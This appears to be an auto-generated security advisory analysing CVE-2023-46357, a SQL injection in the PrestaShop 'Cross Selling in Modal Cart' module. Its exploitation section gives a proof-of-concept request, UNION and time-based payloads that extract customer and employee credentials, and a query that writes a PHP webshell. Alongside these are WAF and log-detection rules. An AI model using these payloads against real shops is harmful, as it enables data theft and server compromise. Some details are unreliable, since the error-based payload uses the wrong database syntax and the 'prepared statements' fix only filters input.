Description
In the module "Cross Selling in Modal Cart" (motivationsale) < 3.5.0 from MyPrestaModules for PrestaShop, a guest can perform SQL injection. The method `motivationsaleDataModel::getProductsByIds()` has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.
EPSS Score:
0%
Technical Analysis of EUVD-2023-50577 (CVE-2023-46357) – SQL Injection in PrestaShop "Cross Selling in Modal Cart" Module
1. Vulnerability Assessment and Severity Evaluation
EUVD ID: EUVD-2023-50577
CVE ID: CVE-2023-46357
CVSS v3.1 Base Score: 9.8 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Severity Breakdown:
- Attack Vector (AV:N): Network-based exploitation (remote attacker).
- Attack Complexity (AC:L): Low – trivial HTTP request manipulation.
- Privileges Required (PR:N): None – unauthenticated exploitation.
- User Interaction (UI:N): None – no user action required.
- Scope (S:U): Unchanged – impact confined to the vulnerable component.
- Confidentiality (C:H): High – full database access possible.
- Integrity (I:H): High – arbitrary data modification.
- Availability (A:H): High – potential for database corruption or DoS.
Assessment:
This is a critical-severity SQL injection (SQLi) vulnerability in the motivationsale module for PrestaShop, allowing unauthenticated attackers to execute arbitrary SQL queries. The flaw stems from improper input sanitization in the motivationsaleDataModel::getProductsByIds() method, enabling blind, error-based, or UNION-based SQLi techniques.
2. Potential Attack Vectors and Exploitation Methods
Exploitation Mechanism:
-
Vulnerable Endpoint:
- The
getProductsByIds()method is exposed via an HTTP-accessible API or AJAX call in PrestaShop. - Attackers can manipulate input parameters (e.g.,
product_ids) to inject malicious SQL payloads.
- The
-
Exploitation Techniques:
- Error-Based SQLi: Force database errors to leak information (e.g.,
AND 1=CONVERT(int, (SELECT @@version))). - UNION-Based SQLi: Extract data by appending
UNION SELECTqueries (e.g.,1 UNION SELECT 1,2,3,username,password FROM ps_employee). - Blind SQLi: Use time-based or boolean-based techniques to infer data (e.g.,
AND IF(1=1,SLEEP(5),0)). - Out-of-Band (OOB) SQLi: Exfiltrate data via DNS or HTTP requests (if supported by the DBMS).
- Error-Based SQLi: Force database errors to leak information (e.g.,
-
Proof-of-Concept (PoC) Example:
GET /module/motivationsale/getproducts?product_ids=1); SELECT SLEEP(10);-- HTTP/1.1 Host: vulnerable-prestashop.example.com- If the response is delayed by 10 seconds, the server is vulnerable.
-
Post-Exploitation Impact:
- Data Theft: Extract customer records, payment details, admin credentials.
- Database Manipulation: Modify prices, inject malicious scripts, or delete data.
- Remote Code Execution (RCE): If the DBMS supports stacked queries (e.g., MySQL with
multi_query), attackers may execute OS commands viaLOAD_FILE()orINTO OUTFILE.
3. Affected Systems and Software Versions
- Vulnerable Module: "Cross Selling in Modal Cart" (motivationsale)
- Vendor: MyPrestaModules
- Affected Versions: < 3.5.0
- PrestaShop Compatibility: Likely all versions (module-specific, not core PrestaShop).
- Database Backend: MySQL/MariaDB (most common in PrestaShop deployments).
Note: The vulnerability is module-specific and does not affect PrestaShop core. However, due to PrestaShop’s widespread use in European e-commerce, the impact is significant.
4. Recommended Mitigation Strategies
Immediate Actions:
-
Patch Management:
- Upgrade to
motivationsalev3.5.0 or later (if available). - If no patch exists, disable the module until a fix is released.
- Upgrade to
-
Temporary Workarounds:
- Input Validation: Modify the
getProductsByIds()method to use prepared statements (parameterized queries) instead of dynamic SQL. - Web Application Firewall (WAF) Rules:
- Deploy ModSecurity with OWASP Core Rule Set (CRS) to block SQLi attempts.
- Example rule:
SecRule ARGS:product_ids "@detectSQLi" "id:1000,log,deny,status:403"
- Database Hardening:
- Restrict database user permissions (avoid
FILEprivilege). - Enable query logging for forensic analysis.
- Restrict database user permissions (avoid
- Input Validation: Modify the
-
Monitoring & Detection:
- Log Analysis: Monitor for unusual SQL patterns (e.g.,
UNION SELECT,SLEEP,INTO OUTFILE). - Intrusion Detection: Use Snort/Suricata or SIEM tools (e.g., Splunk, ELK) to detect exploitation attempts.
- Log Analysis: Monitor for unusual SQL patterns (e.g.,
Long-Term Recommendations:
- Code Review: Audit all PrestaShop modules for similar SQLi vulnerabilities.
- Dependency Management: Use tools like OWASP Dependency-Check to identify vulnerable components.
- Security Headers: Implement CSP, HSTS, and X-Frame-Options to mitigate secondary attack vectors.
- Regular Penetration Testing: Conduct black-box and white-box testing to identify latent vulnerabilities.
5. Impact on the European Cybersecurity Landscape
Regulatory & Compliance Implications:
- GDPR (General Data Protection Regulation):
- Unauthorized database access may lead to personal data breaches, triggering Article 33 (72-hour notification) and potential fines (up to 4% of global revenue).
- NIS2 Directive (Network and Information Security):
- Critical e-commerce operators must report incidents under NIS2, which may apply if the affected PrestaShop instance supports essential services.
- PCI DSS (Payment Card Industry Data Security Standard):
- If payment data is exposed, PCI DSS compliance violations may occur, leading to merchant account suspension.
Threat Landscape:
- Targeted Attacks: European e-commerce sites are high-value targets for Magecart-style attacks, ransomware, and data exfiltration.
- Automated Exploitation: Tools like SQLmap can automate attacks, increasing the risk of mass exploitation.
- Supply Chain Risks: Third-party PrestaShop modules are a common attack vector due to inconsistent security practices.
Geopolitical Considerations:
- State-Sponsored Threats: Advanced Persistent Threats (APTs) may exploit such vulnerabilities for espionage or financial gain.
- Cybercrime Ecosystem: Stolen data (e.g., PII, payment details) is often sold on darknet markets, fueling further attacks.
6. Technical Details for Security Professionals
Root Cause Analysis:
- Vulnerable Code (Pseudocode):
public function getProductsByIds($product_ids) { $sql = "SELECT * FROM "._DB_PREFIX_."product WHERE id_product IN (".$product_ids.")"; return Db::getInstance()->executeS($sql); // Direct SQL execution without sanitization } - Issue: The
$product_idsparameter is concatenated directly into the SQL query without validation or parameterization.
Exploitation Steps:
-
Reconnaissance:
- Identify the vulnerable endpoint via directory brute-forcing (e.g.,
/modules/motivationsale/). - Use Burp Suite or OWASP ZAP to intercept and modify requests.
- Identify the vulnerable endpoint via directory brute-forcing (e.g.,
-
Payload Crafting:
- Basic SQLi:
1); SELECT * FROM ps_customer;-- - Data Exfiltration:
1 UNION SELECT 1,2,3,email,passwd FROM ps_customer LIMIT 1-- - Time-Based Blind SQLi:
1 AND IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0)--
- Basic SQLi:
-
Post-Exploitation:
- Dump Database: Use
mysqldumporSELECT INTO OUTFILEto extract data. - Privilege Escalation: If the DB user has
FILEprivilege, write a PHP webshell:SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
- Dump Database: Use
Forensic Indicators:
-
Logs to Check:
- Apache/Nginx Access Logs: Unusual
GET/POSTrequests with SQL keywords. - MySQL General Query Log: Suspicious queries (e.g.,
UNION SELECT,INTO OUTFILE). - PrestaShop Error Logs: Database errors indicating failed SQLi attempts.
- Apache/Nginx Access Logs: Unusual
-
IOCs (Indicators of Compromise):
- IPs: Known malicious IPs from AbuseIPDB or Threat Intelligence feeds.
- User-Agents: Non-standard or automated tools (e.g.,
sqlmap/1.6.4). - File Artifacts: Unexpected
.phpfiles in/modules/motivationsale/.
Remediation Code Example (PHP):
public function getProductsByIds($product_ids) {
// Sanitize input (whitelist integers)
$sanitized_ids = array_filter(explode(',', $product_ids), 'is_numeric');
if (empty($sanitized_ids)) {
return [];
}
// Use prepared statements
$sql = "SELECT * FROM "._DB_PREFIX_."product WHERE id_product IN (".implode(',', $sanitized_ids).")";
return Db::getInstance()->executeS($sql);
}
Conclusion
EUVD-2023-50577 (CVE-2023-46357) represents a critical SQL injection vulnerability in a widely used PrestaShop module, posing severe risks to European e-commerce security. Immediate patching, WAF deployment, and database hardening are essential to mitigate exploitation. Given the GDPR and NIS2 implications, organizations must treat this as a high-priority incident and conduct thorough forensic analysis if compromise is suspected.
Recommended Next Steps:
- Patch or disable the vulnerable module.
- Scan for exploitation using SIEM/log analysis.
- Conduct a penetration test to verify remediation.
- Report to ENISA if the incident meets NIS2 thresholds.
For further details, refer to: